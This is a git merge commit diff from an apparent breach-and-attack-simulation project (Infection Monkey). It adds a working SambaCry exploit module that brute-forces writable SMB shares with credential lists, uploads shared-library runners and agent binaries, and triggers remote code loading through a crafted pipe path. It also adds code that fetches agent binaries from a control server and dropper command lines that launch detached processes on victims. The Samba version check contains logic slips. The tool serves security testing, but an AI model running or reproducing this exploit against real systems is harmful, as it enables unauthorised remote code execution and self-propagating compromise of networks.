Merge branch 'feature/refactor-monkey-island' of github.com:guardicore/monkey into feature/refactor-monkey-island

This commit is contained in:
Barak Argaman 2017-09-14 00:06:35 +03:00
commit 27e9d28a82
32 changed files with 1987 additions and 306 deletions

1
.gitignore vendored
View File

@ -67,3 +67,4 @@ bin
/monkey_island/cc/server.key /monkey_island/cc/server.key
/monkey_island/cc/server.crt /monkey_island/cc/server.crt
/monkey_island/cc/server.csr /monkey_island/cc/server.csr
monkey_island/cc/ui/node_modules/

View File

@ -1,7 +1,8 @@
import os import os
import sys import sys
from network.range import FixedRange, RelativeRange, ClassCRange from network.range import FixedRange, RelativeRange, ClassCRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\
SambaCryExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
from abc import ABCMeta from abc import ABCMeta
from itertools import product from itertools import product
@ -141,7 +142,7 @@ class Configuration(object):
scanner_class = TcpScanner scanner_class = TcpScanner
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger] finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
SSHExploiter, ShellShockExploiter # Linux SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux
] ]
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration
@ -219,10 +220,33 @@ class Configuration(object):
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey" smb_service_name = "InfectionMonkey"
# Timeout (in seconds) for sambacry's trigger to yield results.
sambacry_trigger_timeout = 5
# Folder paths to guess share lies inside.
sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
# Name of file which contains the monkey's commandline
sambacry_commandline_filename = "monkey_commandline.txt"
# Name of file which contains the runner's result
sambacry_runner_result_filename = "monkey_runner_result"
# SambaCry runner filename (32 bit)
sambacry_runner_filename_32 = "sc_monkey_runner32.so"
# SambaCry runner filename (64 bit)
sambacry_runner_filename_64 = "sc_monkey_runner64.so"
# Monkey filename on share (32 bit)
sambacry_monkey_filename_32 = "monkey32"
# Monkey filename on share (64 bit)
sambacry_monkey_filename_64 = "monkey64"
# Monkey copy filename on share (32 bit)
sambacry_monkey_copy_filename_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
sambacry_monkey_copy_filename_64 = "monkey64_2"
# system info collection # system info collection
collect_system_info = True collect_system_info = True
########################### ###########################
# systeminfo config # systeminfo config
########################### ###########################

View File

@ -156,11 +156,80 @@ class ControlClient(object):
@staticmethod @staticmethod
def download_monkey_exe(host): def download_monkey_exe(host):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def download_monkey_exe_by_os(is_windows, is_32bit):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
ControlClient.spoof_host_os_info(is_windows, is_32bit))
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def spoof_host_os_info(is_windows, is_32bit):
if is_windows:
os = "windows"
if is_32bit:
arch = "x86"
else:
arch = "amd64"
else:
os = "linux"
if is_32bit:
arch = "i686"
else:
arch = "x86_64"
return \
{
"os":
{
"type": os,
"machine": arch
}
}
@staticmethod
def download_monkey_exe_by_filename(filename, size):
if not WormConfiguration.current_server: if not WormConfiguration.current_server:
return None return None
try:
dest_file = monkeyfs.virtual_path(filename)
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@staticmethod
def get_monkey_exe_filename_and_size_by_host(host):
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
@staticmethod
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
if not WormConfiguration.current_server:
return None, None
try: try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()), data=json.dumps(host_dict),
headers={'content-type': 'application/json'}, headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies) verify=False, proxies=ControlClient.proxies)
@ -168,30 +237,17 @@ class ControlClient(object):
result_json = reply.json() result_json = reply.json()
filename = result_json.get('filename') filename = result_json.get('filename')
if not filename: if not filename:
return None return None, None
size = result_json.get('size') size = result_json.get('size')
dest_file = monkeyfs.virtual_path(filename) return filename, size
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): else:
return dest_file return None, None
else:
download = requests.get("https://%s/api/monkey/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc: except Exception, exc:
LOG.warn("Error connecting to control server %s: %s", LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
return None return None, None
@staticmethod @staticmethod
def create_control_tunnel(): def create_control_tunnel():

View File

@ -6,9 +6,13 @@ import shutil
import pprint import pprint
import logging import logging
import subprocess import subprocess
import argparse
from ctypes import c_char_p from ctypes import c_char_p
from model import MONKEY_CMDLINE
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from config import WormConfiguration from config import WormConfiguration
from system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform: if "win32" == sys.platform:
from win32process import DETACHED_PROCESS from win32process import DETACHED_PROCESS
@ -24,14 +28,27 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object): class MonkeyDrops(object):
def __init__(self, args): def __init__(self, args):
self._monkey_args = args[1:] arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth')
arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args)
self._config = {'source_path': os.path.abspath(sys.argv[0]), self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': args[0]} 'destination_path': self.opts.location}
def initialize(self): def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self): def start(self):
if self._config['destination_path'] is None:
LOG.error("No destination path specified")
return
# we copy/move only in case path is different # we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
@ -78,11 +95,19 @@ class MonkeyDrops(object):
except: except:
LOG.warn("Cannot set reference date to destination file") LOG.warn("Cannot set reference date to destination file")
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], monkey_options = build_monkey_commandline_explicitly(
} self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
else:
dest_path = self._config['destination_path']
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
# runs the monkey
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
'monkey_commandline': inner_monkey_cmdline}
if 0 != len(self._monkey_args):
monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args))
monkey_process = subprocess.Popen(monkey_cmdline, shell=True, monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None, stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS) close_fds=True, creationflags=DETACHED_PROCESS)

View File

@ -58,9 +58,20 @@
"serialize_config": false, "serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true, "skip_exploit_if_file_exist": true,
"local_network_scan": true,
"exploit_user_list": [], "exploit_user_list": [],
"exploit_password_list" = [] "exploit_password_list": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"sambacry_commandline_filename": "monkey_commandline.txt",
"sambacry_runner_result_filename": "monkey_runner_result",
"sambacry_runner_filename_32": "sc_monkey_runner32.so",
"sambacry_runner_filename_64": "sc_monkey_runner64.so",
"sambacry_monkey_filename_32": "monkey32",
"sambacry_monkey_filename_64": "monkey64",
"sambacry_monkey_copy_filename_32": "monkey32_2",
"sambacry_monkey_copy_filename_64": "monkey64_2",
"local_network_scan": false,
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 200, "tcp_scan_interval": 200,
"tcp_scan_timeout": 10000, "tcp_scan_timeout": 10000,

View File

@ -20,3 +20,4 @@ from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter from sshexec import SSHExploiter
from shellshock import ShellShockExploiter from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter

View File

@ -0,0 +1,410 @@
import logging
import re
import sys
import time
from io import BytesIO
from os import path
import itertools
import posixpath
import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb import SessionError
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
from impacket.smbconnection import SMBConnection
import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
"""
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
_target_os_type = ['linux']
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict)))
host.services[SMB_SERVICE]["shares"] = {}
for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
# Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout)
successfully_triggered_shares = []
for share in writable_shares_creds_dict:
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares:
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
return True
else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
return False
def try_exploit_share(self, host, share, creds, depth):
"""
Tries exploiting share
:param host: victim Host object
:param share: share name
:param creds: credentials to use with share
:param depth: current depth of monkey
"""
try:
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, depth)
self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
"""
Cleans remote share of any remaining files created by monkey
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
for filename in file_list:
try:
smb_client.deleteFile(share, "\\%s" % filename)
except (impacket.smbconnection.SessionError, SessionError):
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
def get_trigger_result(self, ip, share, creds):
"""
Checks if the trigger yielded any result and returns it.
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
:return: result of trigger if there was one. None otherwise
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError):
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
return file_content
def get_writable_shares_creds_dict(self, ip):
"""
Gets dictionary of writable shares and their credentials
:param ip: IP address of the victim
:return: Dictionary of writable shares and their corresponding credentials.
"""
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
for credentials in credentials_list:
try:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
# don't try shares we can already write to.
for share in [x for x in shares if x not in writable_shares_creds_dict]:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
# If failed using some credentials, try others.
pass
return writable_shares_creds_dict
def get_credentials_list(self):
user_password_pairs = self._config.get_exploit_user_password_pairs()
# Add empty credentials for anonymous shares.
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
for user, password in user_password_pairs:
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
return credentials_list
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self, host):
"""
Checks whether the victim runs a possibly vulnerable version of samba
:param host: victim Host object
:return: True if victim is vulnerable, False otherwise
"""
if SMB_SERVICE not in host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
return False
pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = host.services[SMB_SERVICE].get('name')
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
if pattern_result is not None:
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
samba_version_parts = samba_version.split('.')
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
return is_vulnerable
def is_share_writable(self, smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
def upload_module(self, smb_client, host, share, depth):
"""
Uploads the module and all relevant files to server
:param smb_client: smb client object
:param host: victim Host object
:param share: share name
:param depth: current depth of monkey
"""
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)
def connect_to_server(self, ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share):
"""
Tries triggering module
:param smb_client: smb client object
:param share: share name
:return: True if might triggered successfully, False otherwise.
"""
trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share)
for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
return trigger_might_succeeded
def trigger_module_by_path(self, smb_client, module_path):
"""
Tries triggering module by path
:param smb_client: smb client object
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
:return: True if might triggered successfully, False otherwise.
"""
try:
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
except (impacket.smbconnection.SessionError, SessionError) as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True
else:
pass
return False
def generate_module_possible_paths(self, share_name):
"""
Generates array of possible paths
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
else:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
packet = smb_client.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE
packet['TreeID'] = treeId
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create['SecurityFlags'] = 0
smb2Create['RequestedOplockLevel'] = oplockLevel
smb2Create['ImpersonationLevel'] = impersonationLevel
smb2Create['DesiredAccess'] = desiredAccess
smb2Create['FileAttributes'] = fileAttributes
smb2Create['ShareAccess'] = shareMode
smb2Create['CreateDisposition'] = creationDisposition
smb2Create['CreateOptions'] = creationOptions
smb2Create['NameLength'] = len(fileName) * 2
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
smb2Create['Buffer'] = '\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
smb2Create['CreateContextsLength'] = len(createContexts)
else:
smb2Create['CreateContextsOffset'] = 0
smb2Create['CreateContextsLength'] = 0
packet['Data'] = smb2Create
packetID = smb_client.getSMBServer().sendSMB(packet)
ans = smb_client.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans['Data'])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse['FileID'])
def open_pipe(self, smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$')
LOG.debug('Triggering path: %s' % pathName)
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
ntCreate['Parameters']['FileNameLength'] = len(pathName)
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
ntCreate['Parameters']['FileAttributes'] = 0
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
ntCreate['Parameters']['SecurityFlags'] = 0
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Data']['FileName'] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
ntCreate['Data']['Pad'] = 0x0
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)

View File

@ -1,7 +1,7 @@
import sys import sys
from logging import getLogger from logging import getLogger
from model.host import VictimHost from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from exploit import HostExploiter from exploit import HostExploiter
from network.tools import check_port_tcp from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey from exploit.tools import SmbTools, get_target_monkey
@ -99,9 +99,9 @@ class SmbExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path} cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path}
else: else:
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path} cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1) cmdline += build_monkey_commandline(host, depth - 1)

View File

@ -443,26 +443,46 @@ def get_target_monkey(host):
return monkey_path return monkey_path
def build_monkey_commandline(target_host, depth): def get_target_monkey_by_os(is_windows, is_32bit):
from config import WormConfiguration, GUID from control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = "" cmdline = ""
cmdline += " -p " + GUID
if target_host.default_tunnel: if parent is not None:
cmdline += " -t " + target_host.default_tunnel cmdline += " -p " + parent
if target_host.default_server: if tunnel is not None:
cmdline += " -s " + target_host.default_server cmdline += " -t " + tunnel
if depth < 0: if server is not None:
depth = 0 cmdline += " -s " + server
if depth is not None:
cmdline += " -d %d" % depth if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password): def report_failed_login(exploiter, machine, user, password):
from control import ControlClient from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}) 'user': user, 'password': password})
def get_binaries_dir_path():
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))

View File

@ -12,7 +12,7 @@ import socket
from enum import IntEnum from enum import IntEnum
from logging import getLogger from logging import getLogger
from model.host import VictimHost from model.host import VictimHost
from model import DROPPER_CMDLINE, MONKEY_CMDLINE from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from . import HostExploiter from . import HostExploiter
from exploit.tools import SmbTools, get_target_monkey from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp from network.tools import check_port_tcp
@ -249,9 +249,9 @@ class Ms08_067_Exploiter(HostExploiter):
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
else: else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1) cmdline += build_monkey_commandline(host, depth - 1)

View File

@ -3,7 +3,7 @@ import ntpath
import logging import logging
import traceback import traceback
from tools import build_monkey_commandline from tools import build_monkey_commandline
from model import DROPPER_CMDLINE, MONKEY_CMDLINE from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost from model.host import VictimHost
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
@ -84,9 +84,9 @@ class WmiExploiter(HostExploiter):
return False return False
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower(): elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
else: else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1) cmdline += build_monkey_commandline(host, depth - 1)

View File

@ -4,10 +4,12 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y" MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r" DROPPER_ARG = "dr0pp3r"
DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
